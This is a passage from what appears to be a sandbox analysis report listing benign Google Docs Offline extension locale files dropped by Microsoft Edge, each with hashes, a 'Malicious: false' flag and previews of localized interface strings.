Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\fr\messages.json

Download File

